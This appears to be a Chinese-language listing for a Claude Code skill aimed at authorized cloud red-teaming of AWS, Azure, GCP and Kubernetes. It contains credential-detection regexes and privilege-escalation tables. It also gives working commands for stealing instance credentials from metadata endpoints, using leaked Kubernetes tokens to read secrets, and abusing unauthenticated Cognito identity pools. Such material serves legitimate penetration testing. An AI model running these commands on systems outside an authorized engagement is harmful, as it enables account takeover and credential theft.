关于 cloud-iam-deep
面向外部红队和安全评估人员的云身份与权限测试技能,涵盖 AWS、Azure、GCP 和 Kubernetes。提供凭据验证、权限提升路径和操作安全指引,并强调遵守授权范围及记录活动。
主要功能
- 01识别并验证云凭据
- 02梳理多云权限提升路径
- 03检查跨账户角色与元数据服务
- 04评估 Kubernetes API 和令牌
- 05提供安全操作与清理指引
适用场景
- 01验证泄露的云密钥或令牌
- 02评估 SSRF 到云元数据的风险
- 03检查云 IAM 权限提升可能性
- 04审计暴露的 Kubernetes 凭据
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill cloud-iam-deep安装后在 Claude Code 中输入/cloud-iam-deep确认已加载。
详细介绍
适用场景
在以下情况触发:
- 出现云凭据(密钥、机密、令牌、JSON 文件)
- SSRF 攻击链到达 IMDS / 元数据端点
- APK / git 泄露暴露嵌入其中的云密钥
- 侦察发现公开的 S3/GCS/Azure-blob,且你可以验证其权限
- Kubernetes API 或服务账号令牌暴露
- 云托管实例遭遇 RCE 后——转向云控制平面
请勿用于:
- 仅限本地部署的环境(使用 AD 攻击技能——但根据仅限外部的边界规定,这些不在范围内)
- 恰好部署在 AWS 上的 Web2 漏洞——使用相关的
hunt-*技能
凭据识别(前 60 秒)
# AWS access key patterns
AKIA[0-9A-Z]{16} # IAM user access key (long-term)
ASIA[0-9A-Z]{16} # STS temporary credential
AGPA[0-9A-Z]{16} # IAM group
AIDA[0-9A-Z]{16} # IAM user (user-id)
AROA[0-9A-Z]{16} # IAM role
ANPA[0-9A-Z]{16} # Managed policy
# AWS secret pattern (40-char base64-ish — context required)
[A-Za-z0-9/+=]{40} # AWS secret access key
# Azure
AccountKey=[A-Za-z0-9+/=]{86} # Storage account key
client_secret pattern + UUID # Azure AD app credential
# GCP service account JSON
{
"type": "service_account",
"project_id": "...",
"private_key_id": "...",
"private_key": "-----BEGIN PRIVATE KEY-----..."
}
# K8s SA token (JWT format — decode to confirm)
eyJhbGciOiJSUzI1... # decode kid claim to see issuer
AWS — 只读验证(安全的第一步)
# Set credential
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
# 1. WHO am I?
aws sts get-caller-identity
# Returns: UserId, Account, Arn
# Arn tells you: IAM user vs role, account ID, name
# 2. WHAT can I do? (the privesc question)
# Try common read-only first — failures still inform you
aws iam list-users 2>&1 | head -5
aws iam list-roles 2>&1 | head -5
aws iam list-policies 2>&1 | head -5
aws iam list-groups 2>&1 | head -5
# 3. WHAT policies are attached to me?
aws iam list-attached-user-policies --user-name <self>
aws iam list-user-policies --user-name <self> # inline policies
aws iam list-groups-for-user --user-name <self>
# 4. Service-by-service surface
aws ec2 describe-instances --max-items 1 2>&1 | head
aws s3 ls 2>&1 | head -10
aws lambda list-functions --max-items 5 2>&1 | head
aws rds describe-db-instances --max-items 5 2>&1 | head
aws secretsmanager list-secrets --max-results 5 2>&1 | head
aws ssm describe-parameters --max-results 5 2>&1 | head
# 5. Audit any cross-account / external trust
aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[0].Principal.AWS, `arn:aws:iam::`)]' 2>&1 | head -20
AWS 提权模式(已记录 24 种以上——iam_privesc 技术)
快速查找——如果你拥有以下任何 IAM 操作权限,可通过列出的技术提权:
| 你拥有的权限 | 提权方式 |
|---|---|
iam:CreateAccessKey | 为任意用户创建访问密钥 → 冒充该用户 |
iam:CreateLoginProfile | 为用户设置控制台密码 → 登录 |
iam:UpdateLoginProfile | 重置用户的控制台密码 |
iam:AttachUserPolicy | 为自己附加 AdministratorAccess |
iam:AttachGroupPolicy | 为自己所属的组附加 AdministratorAccess |
iam:AttachRolePolicy + sts:AssumeRole | 为你可以代入的角色附加策略 |
iam:PutUserPolicy | 为自己添加内联 AdministratorAccess |
iam:PutGroupPolicy | 为组添加内联策略 |
iam:PutRolePolicy | 为你可以代入的角色添加内联策略 |
iam:AddUserToGroup | 将自己加入管理员组 |
iam:UpdateAssumeRolePolicy + sts:AssumeRole | 修改信任策略以允许自己代入 |
iam:CreatePolicyVersion | 创建已附加策略的管理员权限 v2 版本 |
iam:SetDefaultPolicyVersion | 将已附加策略切换到管理员权限版本 |
iam:PassRole + ec2:RunInstances | 以管理员角色启动 EC2 → 使用实例凭据 |
iam:PassRole + lambda:CreateFunction/InvokeFunction | 以管理员角色运行代码 |
iam:PassRole + cloudformation:CreateStack | CF 堆栈以管理员身份创建资源 |
iam:PassRole + glue:CreateDevEndpoint | 笔记本以管理员角色运行 |
iam:PassRole + datapipeline | 管道以管理员角色运行 |
iam:PassRole + codestar:CreateProject | 新项目获得管理员角色 |
ec2:RunInstances(AMI 上已配置管理员实例配置文件) | 启动实例,从 IMDS 中窃取凭据 |
lambda:UpdateFunctionCode(函数拥有管理员角色) | 替换代码 → 窃取凭据 |
lambda:UpdateFunctionConfiguration | 添加会窃取凭据的层 / 环境变量 |
cloudformation:UpdateStack | 修改堆栈以授予自己管理员权限 |
sts:AssumeRole(信任策略允许你代入) | 直接提升权限 |
许多破坏性操作都超出外部红队的范围;记录攻击路径,不要总是实际执行。
AWS — STS / 跨账号 / 角色链
# Enumerate roles you can assume across accounts
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json > /tmp/roles.json
# Parse for "Principal.AWS" containing different account IDs
# Assume a role
aws sts assume-role --role-arn "arn:aws:iam::OTHER_ACCT:role/CrossAccountRole" --role-session-name "rt-1"
# Set new creds
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
# Verify
aws sts get-caller-identity # should now show OTHER_ACCT
# Re-enumerate from new identity (chain continues)
困惑代理模式: 查找缺少 sts:ExternalId 的情况,或允许 arn:aws:iam::*:role/* 的信任策略。如果不要求 ExternalId,任何人都可以代入该角色。
通过 SSRF 滥用 AWS IMDSv1 / IMDSv2
# IMDSv1 (legacy, still common — straight GET):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name → fetch creds:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# JSON with AccessKeyId, SecretAccessKey, Token, Expiration
# IMDSv2 (requires PUT to get a token first — usually mitigates SSRF):
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
TOKEN=...
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
# SSRF bypass for IMDSv2:
# Most server-side fetchers don't issue PUT requests → IMDSv2 blocks them.
# Exception: SSRF in functions that themselves perform requests with custom headers.
Azure — 凭据验证
# Login with a credential
az login --service-principal -u <appId> -p <password> --tenant <tenantId>
# OR with managed identity (from inside Azure VM)
az login --identity
# Who am I?
az account show
# Subscriptions
az account list --output table
# Role assignments (Azure RBAC)
az role assignment list --assignee <objectId> --all
az role assignment list --all --query '[?principalId==`<objectId>`]' --output table
# Resources I can read
az resource list --output table | head -30
az storage account list --output table
az keyvault list --output table
az vm list --output table
Azure — 托管标识滥用
# From inside Azure VM (post-RCE or SSRF to IMDS-equivalent):
# Endpoint: http://169.254.169.254/metadata/identity/oauth2/token
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Returns access_token for the Managed Identity. Use:
TOKEN="..."
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"
# Get token for Key Vault
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"
# Get token for Graph
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com"
# → If Managed Identity has Graph permissions, read all M365 data
Azure 提权模式
| 你拥有的权限 | 提权方式 |
|---|---|
租户上的 Microsoft.Authorization/roleAssignments/write | 为自己分配 Owner |
Microsoft.Authorization/roleDefinitions/write | 修改角色定义以添加权限 |
Microsoft.Compute/virtualMachines/runCommand/action | 在 VM 上运行命令(使用 VM 的 MI) |
Microsoft.KeyVault/vaults/secrets/getSecret/action | 读取所有 KV 机密 |
Microsoft.Storage/storageAccounts/listkeys/action | 读取所有存储 Blob |
Microsoft.Web/sites/publishxml/action | 获取发布配置文件 → 在应用上实现 RCE |
Microsoft.Web/sites/host/listkeys/action | 获取函数应用密钥 → 通过函数触发器实现 RCE |
Microsoft.AAD.Directory.* (App reg) + RoleManagement.ReadWrite.Directory | 授予自己 Global Admin |
GCP — 服务账号 JSON
# Activate
gcloud auth activate-service-account --key-file=sa-leaked.json
# Who am I?
gcloud auth list
gcloud config get-value account
gcloud config get-value project
# What roles does this SA have? (project-level only — not org-level)
gcloud projects get-iam-policy <projectId> \
--flatten="bindings[].members" \
--format="table(bindings.role)" \
--filter="bindings.members:<sa-email>"
# Service-by-service:
gcloud compute instances list 2>&1 | head
gcloud storage buckets list 2>&1 | head
gcloud secrets list 2>&1 | head
gcloud functions list 2>&1 | head
gcloud sql instances list 2>&1 | head
gcloud container clusters list 2>&1 | head
GCP 权限提升模式
| 你拥有 | 提升方式 |
|---|---|
对更高权限 SA 拥有 iam.serviceAccounts.getAccessToken | 获取该 SA 的令牌 |
iam.serviceAccounts.implicitDelegation | 通过委托 SA 逐级链式调用 |
对更高权限 SA 拥有 iam.serviceAccounts.signBlob / signJwt | 为该 SA 伪造 JWT |
iam.serviceAccountKeys.create | 为任意 SA 创建新密钥 → 冒充该 SA |
iam.serviceAccounts.setIamPolicy | 授予自己冒充权限 |
iam.roles.update(针对自定义角色) | 为你拥有的角色添加管理员权限 |
cloudfunctions.functions.update(函数以高权限 SA 身份运行) | 替换代码 → 窃取凭据 |
cloudfunctions.functions.call + 上述权限 | 触发替换后的函数 |
compute.instances.setMetadata | 添加 ssh-keys 元数据 → 以 root 身份 SSH 登录 |
compute.instances.setServiceAccount | 为实例关联更高权限 SA |
cloudbuild.builds.create(构建以项目 SA 身份运行) | 构建过程执行攻击者代码 |
deploymentmanager.deployments.create | 以 DM SA 身份创建资源 |
GCP IMDS 攻击(通过 SSRF 或 RCE 后)
# GCP IMDS endpoint:
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Returns access token. Use:
TOKEN=...
curl -H "Authorization: Bearer $TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/projects"
Kubernetes — 暴露的 API / SA 令牌
# Check anonymous access on K8s API
curl -sk "https://k8s.target.com:6443/api/v1/namespaces"
# Anonymous binding (system:anonymous user) — surprisingly common
curl -sk "https://k8s.target.com:6443/api/v1/pods?limit=1"
# If SA token exfil'd (eyJ...):
export TOKEN="eyJ..."
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get namespaces
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify auth can-i --list
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get pods -A
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get secrets -A
K8s 权限提升模式
| 你拥有 | 提升方式 |
|---|---|
对高权限 Pod 拥有 pods/exec | 进入挂载管理员 SA 令牌的 Pod |
pods/create + serviceaccounts/use | 创建挂载管理员 SA 令牌的 Pod |
secrets/get | 读取集群中任意服务账户令牌 |
clusterrolebindings/create | 授予自己 cluster-admin 权限 |
roles/escalate 或 clusterroles/escalate | 为角色添加权限 |
nodes/proxy | 代理到任意节点上的 kubelet → 通过 kubelet 执行命令 |
对角色拥有 bind 动词 | 将你不拥有的角色绑定到某个主体 |
对用户 / 组 / SA 拥有 impersonate 权限 | 以其他主体的身份操作 |
工具参考
| 工具 | 云平台 | 用途 |
|---|---|---|
| Pacu | AWS | 完整的红队框架,包含 100 多个模块 |
| enumerate-iam.py | AWS | 暴力枚举 API 调用列表以发现权限 |
| PMapper | AWS | 以图形方式展示权限提升路径 |
| CloudFox | AWS | 侧重侦察(枚举资源,不进行权限提升) |
| Prowler | AWS/Azure/GCP | 合规扫描 + 枚举 |
| ScoutSuite | AWS/Azure/GCP/OCI | 多云审计 |
| AzureHound | Azure | Azure 的 BloodHound 风格图谱 |
| MicroBurst | Azure | Azure 专用侦察和滥用模块 |
| ROADtools | Azure | Entra ID 枚举工具包 |
| GCPBucketBrute | GCP | 枚举 GCS 存储桶权限 |
| gcpwn | GCP | GCP 专用利用框架 |
| Peirates | K8s | 容器 / 集群利用工具包 |
| kube-hunter | K8s | 从集群内外自动扫描集群 |
| kubectl-trace | K8s | 跟踪进程(立足点建立后) |
反模式
- 切勿在未获得明确许可的情况下执行写入 / 删除操作 — IAM 变更具有破坏性,并会留下可审计记录
- 切勿枚举账户范围内的所有内容 — 对拥有 50,000 名用户的账户运行
aws iam list-users,动静很大且耗时 - 未经确认账户正确,切勿使用非测试凭据运行
aws *— 误操作生产环境可能危及职业生涯 - 切勿混淆“我有凭据”和“此凭据当前仍有效” — 务必先通过 STS 检查过期时间 / 轮换状态
- 切勿假设一个账户的 STS 令牌可跨账户使用 — 区域限制和信任策略均会生效
- 切勿忽视 CloudTrail / Activity Log 相关注意事项 — 每次 API 调用都会记录;应与
mid-engagement-ir-detection配合使用 - 切勿超出 SOW 允许范围进行更深入的横向移动 — 发现管理员凭据并不意味着可以使用;有些测试只允许读取
与相邻技能的衔接
hunt-cloud-misconfig— 首先发现凭证(公开存储桶、通过 SSRF 访问 IMDS、泄露的 JSON)hunt-ssrf— SSRF→IMDS 是进入云控制平面的典型链路apk-redteam-pipeline— 提取 APK 密钥通常会获取云凭证supply-chain-attack-recon— CI/CD 流水线中存储着云凭证;发现它们属于单独的工作流m365-entra-attack— Azure 跨产品攻击;托管身份令牌可用于访问 Graphmid-engagement-ir-detection— 云控制平面活动会受到监控;做好应对缓解措施的准备
严重性评分指南
| 发现 | 严重性 |
|---|---|
AWS 访问密钥在策略中具有 *:* → 已确认是管理员 | 严重 |
生产项目中具有 roles/owner 的 GCP SA JSON | 严重 |
| 面向互联网的 VM 上具有 Owner 角色的 Azure MI | 严重 |
| 泄露的凭证可对生产数据存储进行只读访问 | 高(或根据数据敏感性评为严重) |
| 泄露的凭证存在提权路径,但尚未获得管理员权限 | 高 |
| 泄露的凭证 — 仅能读取非敏感数据 | 中 |
| 匿名公开存储桶 — 仅可列出内容 | 低/中 |
| 匿名存储桶 — 具有写入权限 | 高 |
清理规范(交付物卫生)
如果在参与期间你:
- 使用了
sts:AssumeRole进行角色链式切换 — 在 IoC 中记录角色名称和时间 - 创建了任何 IAM 资源(测试用户、角色、策略)— 列出这些资源并明确确认已清理
- 读取了敏感数据(Secrets Manager、KMS 密钥、Storage Blob 内容)— 在交付物中注明已查看数据,但未将其外传至参与范围之外的系统
云活动很容易审计;客户事后一定会发现。现在记录 > 之后措手不及。
AWS Cognito Identity Pool — 未经身份验证的角色攻击链(2024-2026 年攻击面)
AWS Cognito 有两种常被混淆的独立服务:用户池(身份验证提供方)和 身份池(联合身份 → IAM 凭证)。身份池可以配置为 “启用对未经身份验证身份的访问” — 这会让任何匿名调用者都能通过 cognito-identity:GetId → cognito-identity:GetCredentialsForIdentity 获取 IAM 角色。移动应用和 SPA 会将 IdentityPoolId 打包在页面资源中。开发者通常会给未认证角色附加权限过宽的 IAM 权限,尤其是在身份池为 AWS Amplify / Pinpoint / CloudWatch RUM 设置,且角色策略从未收紧的情况下。
步骤 1 — 发现 IdentityPoolId
按照 AWS 的设计,IdentityPoolId 是公开标识符(格式为 <region>:<UUID>)。查找方法:
# JS bundle / SPA regex (against *.js, *.html, source-map files)
grep -ErohE "identityPoolId[\"'`\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" .
grep -ErohE "IdentityPoolId[\"'`\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" .
grep -ErohE "\"PoolId\"\s*:\s*\"([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})\"" .
# Mobile APK (after jadx decompile)
grep -rEi "identity[_-]?pool[_-]?id" decoded/
grep -rE "\"[a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36}\"" decoded/
# Also check
amplifyconfiguration.json
awsconfiguration.json
aws-exports.js
.env.js
*.js.map
Wayback CDX 存档、在 GitHub 上搜索根域名加 IdentityPoolId 的代码,以及由 index.html 引用的 JS 分块文件,都是高收益的搜索语料。
步骤 2 — 执行 GetId(未认证)
aws cognito-identity get-id \
--identity-pool-id us-east-1:abcd1234-5678-90ab-cdef-1234567890ab \
--region us-east-1 \
--no-sign-request
--no-sign-request 至关重要 — 它会告知 CLI 不要查找环境中的 AWS 凭证。返回 {"IdentityId": "us-east-1:<uuid>"}。如果返回 NotAuthorizedException,则表示未启用未认证身份 — 到此为止,该问题不可利用。
步骤 3 — 执行 GetCredentialsForIdentity
aws cognito-identity get-credentials-for-identity \
--identity-id us-east-1:<returned-uuid> \
--region us-east-1 \
--no-sign-request
返回有效期约为 1 小时的真实 STS 凭证:AccessKeyId(ASIA…)、SecretKey、SessionToken、Expiration。
步骤 4 — 确认角色 ARN
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
返回类似 arn:aws:sts::<account>:assumed-role/Cognito_<PoolName>Unauth_Role/CognitoIdentityCredentials 的角色 ARN。此时账户 ID 也已泄露。
步骤 5 — 枚举角色权限
直接查询(少见):
aws iam get-role --role-name Cognito_<PoolName>Unauth_Role
aws iam list-role-policies --role-name Cognito_<PoolName>Unauth_Role
aws iam list-attached-role-policies --role-name Cognito_<PoolName>Unauth_Role
黑盒查询(通常采用的方法)— 对高价值服务执行权限探测,并观察返回的是 AccessDenied 还是成功。Pacu 的 iam__enum_permissions --role-name <name> 会对约 500 个 IAM 操作进行暴力枚举;Andrés Riancho 的 enumerate-iam.py 涵盖约 1000 个操作。常见的过度授权包括:s3:Get*/s3:List*、dynamodb:Scan、lambda:InvokeFunction、appsync:GraphQL、cognito-idp:AdminCreateUser、iam:PassRole、kms:Decrypt。
严重性评级标准
| 发现 | 严重性 | 理由 |
|---|---|---|
未经身份验证的角色具有 *:* 或 AdministratorAccess | 严重(9.8+) | 完全接管 AWS 账户 |
未经身份验证的角色对生产环境的客户存储桶拥有 s3:Get* / s3:List* 权限,或对用户表拥有 dynamodb:Scan 权限 | 严重(9.1-9.8) | 大规模 PII / 数据泄露 |
未经身份验证的角色对生产环境的 API 拥有 appsync:GraphQL 权限,或对内部 Lambda 拥有 lambda:InvokeFunction 权限 | 严重(9.0) | 通过身份验证访问后端 |
未经身份验证的角色对关联的 User Pool 拥有 cognito-idp:Admin* 权限 | 严重(9.1) | 大规模账户接管(ATO)的基础条件 |
未经身份验证的角色同时拥有 iam:PassRole 和创建函数的权限 | 严重(9.8) | 有文档记录的提权至管理员权限路径 |
未经身份验证的角色对 Web 托管存储桶拥有 s3:PutObject 权限 | 高(8.1) | 存储型 XSS / 供应链攻击 |
未经身份验证的角色对客户 CMK 拥有 kms:Decrypt 权限 | 高(7.5-8.5) | 取决于是否能访问密文 |
| 未经身份验证的角色只能读取单个硬编码的非敏感资源 | 中(5.3) | 业务影响有限 |
| 已启用未经身份验证的身份,但角色策略拒绝所有操作 | 信息性 | 仅偏离最佳实践 |
已披露案例 / 权威分析
- Andres Riancho — “Misconfigured Cognito Identity Pools”(2020 年,2023 年更新) — 首篇确立此类攻击的研究。针对未经身份验证的身份池,使用默认的
*策略调用GetCredentialsForIdentity。andresriancho.com - Rhino Security Labs — Pacu
cognito__enum_identity_pools模块 — 可在生产环境使用的工具,可自动执行攻击链的步骤 1-5。github.com/RhinoSecurityLabs/pacu - NotSoSecure / Claranet — “Exploiting weak configurations in Amazon Cognito”(2023 年 11 月) — 演示从提取 identityPoolId 到担任访客角色,再到枚举 S3/DynamoDB/Lambda 的过程。指出 RUM、Amplify 和 Pinpoint 是常在 HTML 中暴露池 ID 的三种 SDK。notsosecure.com
- HackTricks Cloud —
aws-cognito-unauthenticated-enum— 涵盖步骤 1-5 的标准操作手册。cloud.hacktricks.wiki - Spaceraccoon / Eugene Lim — “Mass Account Takeover via Cognito IdentityPool”(Medium,2020 年) — 一家 SaaS 提供商在 Amplify 配置中暴露了 IdentityPoolId;未经身份验证的角色对关联的 User Pool 拥有
cognito-idp:AdminConfirmSignUp和AdminUpdateUserAttributes权限,可静默确认任意注册并更改邮箱,从而大规模接管账户。 - Datadog Security Labs — “Following AWS Logs Backwards: Cognito Identity Pool Abuse”(2024 年) — 基于 Datadog 客户群遥测数据,展示了现实世界中的 Cognito 池滥用情况。相当比例的池所关联的策略权限超出了最低要求。securitylabs.datadoghq.com
报告提示
报告中务必包含:
sts get-caller-identity输出(证明角色 ARN 和账户 ID)- Pacu
iam__enum_permissionsJSON 输出(证明已授予的操作权限) - 具体的数据提取 PoC(一个 S3 对象列表示例,以及一条已对 PII 脱敏的 DynamoDB 记录)
缺少以上任意一项,分流人员都会将严重性降为中。60 秒测试流程为 GetId → GetCredentialsForIdentity → sts get-caller-identity。如果无需身份验证即可到达第 3 步,就构成一项发现。
交叉引用:hunt-cloud-misconfig → CloudWatch RUM weaponization 介绍了此类攻击中使用 RUM 嵌入的具体变体。
相关技能与攻击链
hunt-ssrf— 访问云凭证的大多数外部路径都始于通过 SSRF 触达元数据服务。攻击链基元:SSRF + IMDSv1 → 实例角色令牌 →cloud-iam-deep权限提升模式 → 访问生产环境中的 S3 / Secrets Manager。hunt-cloud-misconfig— 公共存储桶和暴露的配置是最常见的凭证泄露途径。攻击链基元:云配置错误(公共 S3 中的.env)+ 泄露的 AWS 访问密钥 → IAM 枚举 → 通过iam:PassRole攻击链获取管理员权限。supply-chain-attack-recon— CI/CD 通常持有长期有效的部署凭证。攻击链基元:暴露的 GitHub Actions OIDC 配置错误 + assume-role 权限 →cloud-iam-deep跨账户角色接管。m365-entra-attack— Azure 托管标识与 Entra 服务主体有重叠。攻击链基元:对 Azure App Service 发起 SSRF → 托管标识令牌 →m365-entra-attackGraph API 枚举 → 跨租户权限提升。security-arsenal— 加载 Cloud IAM 权限提升 Payload Pack(包含 24+ 种 AWS、8+ 种 Azure、6+ 种 GCP 权限提升模式,以及aws cli单行命令)。triage-validation— 应用 Server-State-vs-Policy 门槛:仅有宽松的 IAM 策略并不构成发现项;报告前应证明实际执行了特权操作(例如读取生产环境机密、创建跨账户角色)。